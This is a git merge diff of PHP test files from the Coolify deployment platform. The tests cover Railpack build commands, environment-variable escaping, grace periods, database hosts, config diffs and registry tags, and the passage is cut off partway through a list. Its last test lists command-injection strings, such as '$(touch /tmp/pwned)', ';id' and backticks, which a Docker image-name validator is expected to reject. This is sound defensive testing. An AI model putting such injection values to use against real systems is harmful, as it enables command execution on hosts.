Merge remote-tracking branch 'origin/next' into jean/allow-dots-username

This commit is contained in:
Andras Bacsai
2026-06-03 11:38:55 +02:00
411 changed files with 21821 additions and 8593 deletions
@@ -447,6 +447,15 @@ it('container prune excludes persistent resource types', function () {
expect($sourceFile)->toContain('label=coolify.managed=true');
});
it('uses persisted buildx metadata when pruning the railpack builder', function () {
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
expect($sourceFile)
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
->toContain('docker buildx prune --builder coolify-railpack -af')
->not->toContain('--buildkitd-flags');
});
it('preserves build image for currently running tag', function () {
$images = collect([
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
@@ -0,0 +1,11 @@
<?php
it('persists buildx metadata between the helper container and host cleanup', function () {
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
expect($sourceFile)
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
});
@@ -0,0 +1,249 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use Illuminate\Support\Collection;
use Tests\TestCase;
uses(TestCase::class);
class TestableRailpackDeploymentJob extends ApplicationDeploymentJob
{
public array $recordedCommands = [];
public function __construct() {}
public function execute_remote_command(...$commands)
{
$this->recordedCommands[] = $commands;
}
}
function makeRailpackDeploymentJob(array $applicationAttributes = [], array $savedOutputs = []): array
{
$job = new TestableRailpackDeploymentJob;
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$application = new Application($applicationAttributes);
foreach ([
'application' => $application,
'workdir' => '/artifacts/test-app',
'deployment_uuid' => 'deployment-uuid',
'saved_outputs' => new Collection($savedOutputs),
'env_railpack_args' => "--env 'RAILPACK_NODE_VERSION=22'",
'force_rebuild' => false,
'addHosts' => '',
'secrets_hash_key' => 'testing-app-key',
] as $property => $value) {
$reflectionProperty = $reflection->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($job, $value);
}
return [$job, $reflection];
}
function invokeRailpackMethod(object $job, ReflectionClass $reflection, string $method, array $arguments = []): mixed
{
$reflectionMethod = $reflection->getMethod($method);
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invokeArgs($job, $arguments);
}
it('deep merges repository railpack config with coolify overrides', function () {
$repositoryConfigJson = json_encode([
'$schema' => 'https://schema.railpack.com',
'packages' => [
'node' => '20',
],
'steps' => [
'build' => [
'inputs' => [['step' => 'install']],
'commands' => ['npm run build'],
],
],
'deploy' => [
'variables' => [
'NODE_ENV' => 'production',
],
'startCommand' => 'node index.js',
],
], JSON_THROW_ON_ERROR);
[$job, $reflection] = makeRailpackDeploymentJob(
[
'install_command' => 'npm ci',
'build_command' => 'npm run build:prod',
'start_command' => 'node server.js',
],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => $repositoryConfigJson,
],
);
$repositoryConfig = invokeRailpackMethod(
$job,
$reflection,
'decode_railpack_config',
[$repositoryConfigJson, 'repository railpack.json'],
);
$overrides = [
'deploy' => [
'variables' => [
'APP_ENV' => 'production',
],
],
'packages' => [
'python' => '3.13',
],
];
$generatedConfig = invokeRailpackMethod($job, $reflection, 'merge_railpack_config', [$repositoryConfig, $overrides]);
expect($generatedConfig)->toMatchArray([
'$schema' => 'https://schema.railpack.com',
'packages' => [
'node' => '20',
'python' => '3.13',
],
'steps' => [
'build' => [
'inputs' => [['step' => 'install']],
'commands' => ['npm run build'],
],
],
'deploy' => [
'variables' => [
'NODE_ENV' => 'production',
'APP_ENV' => 'production',
],
'startCommand' => 'node index.js',
],
]);
});
it('writes a generated railpack config file when repository config exists', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
['build_command' => 'npm run build'],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => json_encode([
'$schema' => 'https://schema.railpack.com',
'steps' => [
'build' => [
'commands' => ['npm run build'],
],
],
], JSON_THROW_ON_ERROR),
],
);
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
expect($configPath)->toBe('.coolify/railpack.generated.json');
expect($job->recordedCommands)->toHaveCount(3);
});
it('does not generate a railpack config file for command overrides alone', function () {
[$job, $reflection] = makeRailpackDeploymentJob([
'install_command' => 'npm ci',
'build_command' => 'npm run build',
'start_command' => 'node server.js',
]);
$configPath = invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file');
expect($configPath)->toBeNull();
expect($job->recordedCommands)->toHaveCount(1);
});
it('fails fast when repository railpack config is invalid json', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
['build_command' => 'npm run build'],
[
'railpack_config_exists' => 'exists',
'railpack_repository_config' => '{"steps":{"build":',
],
);
expect(fn () => invokeRailpackMethod($job, $reflection, 'generate_railpack_config_file'))
->toThrow(DeploymentException::class, 'Invalid repository railpack.json');
});
it('builds railpack prepare command using railpack env for install and cli flags for build/start overrides', function () {
[$job, $reflection] = makeRailpackDeploymentJob(
[
'install_command' => 'npm ci',
'build_command' => 'npm run build',
'start_command' => 'node server.js',
],
);
$envRailpackArgsProperty = $reflection->getProperty('env_railpack_args');
$envRailpackArgsProperty->setAccessible(true);
$envRailpackArgsProperty->setValue($job, "--env 'RAILPACK_NODE_VERSION=22' --env 'RAILPACK_INSTALL_CMD=npm ci'");
$command = invokeRailpackMethod(
$job,
$reflection,
'railpack_prepare_command',
['.coolify/railpack.generated.json'],
);
expect($command)->toContain('railpack prepare');
expect($command)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
expect($command)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci'");
expect($command)->toContain('--build-cmd '.escapeshellarg('npm run build'));
expect($command)->toContain('--start-cmd '.escapeshellarg('node server.js'));
expect($command)->toContain('--config-file '.escapeshellarg('.coolify/railpack.generated.json'));
expect($command)->toContain('--plan-out /artifacts/railpack-plan.json /artifacts/test-app');
expect($command)->not->toContain("--env 'RAILPACK_BUILD_CMD=");
expect($command)->not->toContain("--env 'RAILPACK_START_CMD=");
expect($command)->not->toContain('RAILPACK_BUILD_CMD=');
expect($command)->not->toContain('RAILPACK_START_CMD=');
});
it('fails fast when docker buildx is unavailable for railpack builds', function () {
[$job, $reflection] = makeRailpackDeploymentJob();
$dockerBuildxAvailableProperty = $reflection->getProperty('dockerBuildxAvailable');
$dockerBuildxAvailableProperty->setAccessible(true);
$dockerBuildxAvailableProperty->setValue($job, false);
expect(fn () => invokeRailpackMethod($job, $reflection, 'ensure_docker_buildx_available_for_railpack'))
->toThrow(DeploymentException::class, 'Railpack deployments require the Docker buildx CLI plugin');
});
it('builds railpack docker command with matching env and secret flags for all railpack variables', function () {
[$job, $reflection] = makeRailpackDeploymentJob([
'uuid' => 'application-uuid',
]);
$command = invokeRailpackMethod(
$job,
$reflection,
'railpack_build_command',
[
'coollabsio/coolify:test',
collect([
'RAILPACK_NODE_VERSION' => '22',
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
'SECRET_JSON' => '{"token":"abc"}',
]),
],
);
expect($command)->toContain("env 'RAILPACK_NODE_VERSION=22'");
expect($command)->toContain("'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
expect($command)->toContain("'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($command)->toContain("'SECRET_JSON={\"token\":\"abc\"}'");
expect($command)->toContain("--secret 'id=RAILPACK_NODE_VERSION,env=RAILPACK_NODE_VERSION'");
expect($command)->toContain("--secret 'id=RAILPACK_INSTALL_CMD,env=RAILPACK_INSTALL_CMD'");
expect($command)->toContain("--secret 'id=RAILPACK_DEPLOY_APT_PACKAGES,env=RAILPACK_DEPLOY_APT_PACKAGES'");
expect($command)->toContain("--secret 'id=SECRET_JSON,env=SECRET_JSON'");
expect($command)->toContain(' --build-arg secrets-hash=');
expect($command)->toContain('--build-arg BUILDKIT_SYNTAX="ghcr.io/railwayapp/railpack-frontend:v'.config('constants.coolify.railpack_version').'"');
});
@@ -0,0 +1,267 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\EnvironmentVariable;
use App\Models\Server;
it('generates escaped railpack env args from resolved values and includes install command', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn('npm ci && npm run postinstall');
$nodeVersion = Mockery::mock(EnvironmentVariable::class)->makePartial();
$nodeVersion->forceFill([
'key' => 'RAILPACK_NODE_VERSION',
'is_literal' => false,
'is_multiline' => false,
]);
$nodeVersion->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('22');
$literalValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$literalValue->forceFill([
'key' => 'RAILPACK_CUSTOM_FLAG',
'is_literal' => true,
'is_multiline' => false,
]);
$literalValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn("'hello world'");
$jsonValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$jsonValue->forceFill([
'key' => 'RAILPACK_JSON',
'is_literal' => false,
'is_multiline' => false,
]);
$jsonValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('{"token":"abc"}');
$nullValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$nullValue->forceFill([
'key' => 'RAILPACK_NULL',
'is_literal' => false,
'is_multiline' => false,
]);
$nullValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn(null);
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$nodeVersion, $literalValue, $jsonValue, $nullValue]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($variables->all())->toBe([
'RAILPACK_NODE_VERSION' => '22',
'RAILPACK_CUSTOM_FLAG' => 'hello world',
'RAILPACK_JSON' => '{"token":"abc"}',
'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
]);
expect($envArgs)->toContain("--env 'RAILPACK_NODE_VERSION=22'");
expect($envArgs)->toContain("--env 'RAILPACK_CUSTOM_FLAG=hello world'");
expect($envArgs)->toContain("--env 'RAILPACK_JSON={\"token\":\"abc\"}'");
expect($envArgs)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'");
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($envArgs)->not->toContain('RAILPACK_NULL');
});
it('uses preview railpack environment variables for preview deployments', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$previewValue = Mockery::mock(EnvironmentVariable::class)->makePartial();
$previewValue->forceFill([
'key' => 'RAILPACK_PREVIEW_ONLY',
'is_literal' => false,
'is_multiline' => false,
]);
$previewValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('preview-value');
$previewQuery = Mockery::mock();
$previewQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$previewQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$previewQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables_preview')->once()->andReturn($previewQuery);
$railpackPreviewQuery = Mockery::mock();
$railpackPreviewQuery->shouldReceive('get')->once()->andReturn(collect([$previewValue]));
$application->shouldReceive('railpack_environment_variables_preview')->once()->andReturn($railpackPreviewQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 42);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->all())->toBe([
'RAILPACK_PREVIEW_ONLY' => 'preview-value',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
]);
});
it('merges coolify env variables into railpack build variables', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$userVar = Mockery::mock(EnvironmentVariable::class)->makePartial();
$userVar->forceFill([
'key' => 'MY_BUILD_VAR',
'is_literal' => false,
'is_multiline' => false,
]);
$userVar->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('hello');
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([$userVar]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')
->with(true)
->andReturn(collect([
'COOLIFY_URL' => 'https://app.example.com',
'COOLIFY_FQDN' => 'app.example.com',
'COOLIFY_BRANCH' => 'main',
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
'SOURCE_COMMIT' => 'abc123',
'EMPTY_VAR' => '',
'NULL_VAR' => null,
]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->all())->toBe([
'MY_BUILD_VAR' => 'hello',
'RAILPACK_DEPLOY_APT_PACKAGES' => 'curl wget',
'COOLIFY_URL' => 'https://app.example.com',
'COOLIFY_FQDN' => 'app.example.com',
'COOLIFY_BRANCH' => 'main',
'COOLIFY_RESOURCE_UUID' => 'app-uuid',
'SOURCE_COMMIT' => 'abc123',
]);
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($envArgs)->toContain("--env 'COOLIFY_URL=https://app.example.com'");
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=curl wget'");
expect($envArgs)->not->toContain('EMPTY_VAR');
expect($envArgs)->not->toContain('NULL_VAR');
});
it('preserves user railpack deploy apt packages while adding healthcheck tools once', function () {
$application = Mockery::mock(Application::class);
$application->shouldReceive('getAttribute')->with('install_command')->andReturn(null);
$deployPackages = Mockery::mock(EnvironmentVariable::class)->makePartial();
$deployPackages->forceFill([
'key' => 'RAILPACK_DEPLOY_APT_PACKAGES',
'is_literal' => false,
'is_multiline' => false,
]);
$deployPackages->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('ffmpeg curl');
$envQuery = Mockery::mock();
$envQuery->shouldReceive('withoutBuildpackControlVariables')->once()->andReturnSelf();
$envQuery->shouldReceive('where')->with('is_buildtime', true)->once()->andReturnSelf();
$envQuery->shouldReceive('get')->once()->andReturn(collect([]));
$application->shouldReceive('environment_variables')->once()->andReturn($envQuery);
$railpackQuery = Mockery::mock();
$railpackQuery->shouldReceive('get')->once()->andReturn(collect([$deployPackages]));
$application->shouldReceive('railpack_environment_variables')->once()->andReturn($railpackQuery);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$job->shouldReceive('generate_coolify_env_variables')->andReturn(collect([]));
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $application);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$mainServerProperty = $reflection->getProperty('mainServer');
$mainServerProperty->setAccessible(true);
$mainServerProperty->setValue($job, Mockery::mock(Server::class));
$method = $reflection->getMethod('generate_railpack_env_variables');
$method->setAccessible(true);
$variables = $method->invoke($job);
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('ffmpeg curl wget');
$envArgsProperty = $reflection->getProperty('env_railpack_args');
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
expect($envArgs)->toContain("--env 'RAILPACK_DEPLOY_APT_PACKAGES=ffmpeg curl wget'");
});
@@ -11,7 +11,7 @@ use App\Models\ApplicationSetting;
it('casts is_static to boolean when true', function () {
$setting = new ApplicationSetting;
$setting->is_static = true;
$setting->setRawAttributes(['is_static' => true]);
// Verify it's cast to boolean
expect($setting->is_static)->toBeTrue()
@@ -20,7 +20,7 @@ it('casts is_static to boolean when true', function () {
it('casts is_static to boolean when false', function () {
$setting = new ApplicationSetting;
$setting->is_static = false;
$setting->setRawAttributes(['is_static' => false]);
// Verify it's cast to boolean
expect($setting->is_static)->toBeFalse()
@@ -29,7 +29,7 @@ it('casts is_static to boolean when false', function () {
it('casts is_static from string "1" to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = '1';
$setting->setRawAttributes(['is_static' => '1']);
// Should cast string to boolean
expect($setting->is_static)->toBeTrue()
@@ -38,7 +38,7 @@ it('casts is_static from string "1" to boolean true', function () {
it('casts is_static from string "0" to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = '0';
$setting->setRawAttributes(['is_static' => '0']);
// Should cast string to boolean
expect($setting->is_static)->toBeFalse()
@@ -47,7 +47,7 @@ it('casts is_static from string "0" to boolean false', function () {
it('casts is_static from integer 1 to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = 1;
$setting->setRawAttributes(['is_static' => 1]);
// Should cast integer to boolean
expect($setting->is_static)->toBeTrue()
@@ -56,7 +56,7 @@ it('casts is_static from integer 1 to boolean true', function () {
it('casts is_static from integer 0 to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = 0;
$setting->setRawAttributes(['is_static' => 0]);
// Should cast integer to boolean
expect($setting->is_static)->toBeFalse()
@@ -103,3 +103,65 @@ it('casts all boolean fields correctly', function () {
->and($casts[$field])->toBe('boolean');
}
});
it('casts stop_grace_period to integer', function () {
$setting = new ApplicationSetting;
$casts = $setting->getCasts();
expect($casts)->toHaveKey('stop_grace_period')
->and($casts['stop_grace_period'])->toBe('integer');
});
it('handles null stop_grace_period for default behavior', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = null;
expect($setting->stop_grace_period)->toBeNull();
});
it('casts stop_grace_period from string to integer', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = '60';
expect($setting->stop_grace_period)->toBe(60)
->and($setting->stop_grace_period)->toBeInt();
});
it('casts stop_grace_period zero to integer (documents fallback trigger)', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = 0;
expect($setting->stop_grace_period)->toBe(0)
->and($setting->stop_grace_period)->toBeInt();
});
it('casts stop_grace_period negative value to integer (documents fallback trigger)', function () {
$setting = new ApplicationSetting;
$setting->stop_grace_period = -10;
expect($setting->stop_grace_period)->toBe(-10)
->and($setting->stop_grace_period)->toBeInt();
});
it('resolves valid stop grace periods', function (?int $storedValue, int $expectedValue) {
$setting = new ApplicationSetting;
$setting->stop_grace_period = $storedValue;
expect($setting->stopGracePeriodSeconds())->toBe($expectedValue);
})->with([
'minimum' => [MIN_STOP_GRACE_PERIOD_SECONDS, MIN_STOP_GRACE_PERIOD_SECONDS],
'custom' => [300, 300],
'maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS, MAX_STOP_GRACE_PERIOD_SECONDS],
]);
it('falls back to default stop grace period for invalid stored values', function (?int $storedValue) {
$setting = new ApplicationSetting;
$setting->stop_grace_period = $storedValue;
expect($setting->stopGracePeriodSeconds())->toBe(DEFAULT_STOP_GRACE_PERIOD_SECONDS);
})->with([
'null' => [null],
'zero' => [0],
'negative' => [-10],
'above maximum' => [MAX_STOP_GRACE_PERIOD_SECONDS + 1],
]);
@@ -0,0 +1,64 @@
<?php
use Illuminate\Support\Env;
function databaseConfigWithEnvironment(array $overrides): array
{
$keys = [
'DB_HOST',
'DB_READ_HOST',
'DB_WRITE_HOST',
];
$repository = Env::getRepository();
$original = [];
foreach ($keys as $key) {
$original[$key] = env($key);
$repository->clear($key);
}
try {
foreach ($overrides as $key => $value) {
$repository->set($key, (string) $value);
}
return require __DIR__.'/../../config/database.php';
} finally {
foreach ($keys as $key) {
$repository->clear($key);
if ($original[$key] !== null) {
$repository->set($key, (string) $original[$key]);
}
}
}
}
it('trims and filters read hosts from comma separated values', function () {
$config = databaseConfigWithEnvironment([
'DB_READ_HOST' => ' read-1, read-2, ',
]);
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
});
it('falls back to db host when write host is empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => 'primary-db',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
});
it('falls back to the default host when write host and db host are empty', function () {
$config = databaseConfigWithEnvironment([
'DB_HOST' => '',
'DB_READ_HOST' => 'read-db',
'DB_WRITE_HOST' => '',
]);
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
});
@@ -0,0 +1,123 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
use Tests\TestCase;
uses(TestCase::class, RefreshDatabase::class);
function snapshotTestApplication(array $attributes = []): Application
{
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::factory()->create(array_merge([
'environment_id' => $environment->id,
'status' => 'running:healthy',
'fqdn' => 'https://example.com',
'build_command' => 'npm run build',
'start_command' => 'npm run start',
], $attributes));
}
function markSnapshotTestApplicationDeployed(Application $application): ApplicationDeploymentQueue
{
$deployment = ApplicationDeploymentQueue::create([
'application_id' => (string) $application->id,
'deployment_uuid' => (string) Str::uuid(),
'status' => 'finished',
'commit' => 'HEAD',
]);
$application->markDeploymentConfigurationApplied($deployment);
return $deployment->refresh();
}
it('does not report preview deployment toggles as pending production configuration changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->settings->update(['is_preview_deployments_enabled' => true]);
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
});
it('detects build-impacting changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->update(['build_command' => 'pnpm build']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->requiresBuild())->toBeTrue()
->and(collect($diff->changes())->pluck('label'))->toContain('Build command');
});
it('detects redeploy-only domain changes', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
$application->update(['fqdn' => 'https://new.example.com']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
expect($diff->isChanged())->toBeTrue()
->and($diff->requiresBuild())->toBeFalse()
->and(collect($diff->changes())->pluck('label'))->toContain('Domains');
});
it('detects environment variable value changes without exposing secret values', function () {
$application = snapshotTestApplication();
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'old-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
markSnapshotTestApplicationDeployed($application->refresh());
$application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBe('Changed')
->and($change['old_display_value'])->toBe('••••••••')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
});
it('describes added environment variables as set without exposing secret values', function () {
$application = snapshotTestApplication();
markSnapshotTestApplicationDeployed($application);
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'new-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
expect($change)->not->toBeNull()
->and($change['display_summary'])->toBeNull()
->and($change['old_display_value'])->toBe('-')
->and($change['new_display_value'])->toBe('••••••••')
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
});
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
expect($method->invoke($job))->toBe('latest');
});
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, $pullRequestId);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => $dockerRegistryImageTag,
]));
return $job;
}
it('pushes the configured docker registry image tag for production deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeTrue();
});
it('skips the configured docker registry image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 42,
dockerRegistryImageTag: 'latest',
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
it('skips pushing a configured docker registry image tag when no tag is set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = makeDockerRegistryTagPushJob(
pullRequestId: 0,
dockerRegistryImageTag: null,
);
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBeFalse();
});
@@ -0,0 +1,109 @@
<?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Rules\DockerImageFormat;
use App\Support\ValidationPatterns;
it('accepts valid docker registry image names', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
})->with([
'single component' => 'nginx',
'namespace image' => 'library/nginx',
'ghcr image' => 'ghcr.io/coollabsio/coolify',
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
'registry with port' => 'registry.example.com:5000/team/app',
'digest marker used by existing dockerimage records' => 'nginx@sha256',
]);
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
})->with([
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
'semicolon' => 'coolify/poc;id',
'backticks' => 'coolify/poc`id`',
'pipe' => 'coolify/poc|id',
'logical and' => 'coolify/poc&&id',
'newline' => "coolify/poc\nid",
'space' => 'coolify/poc image',
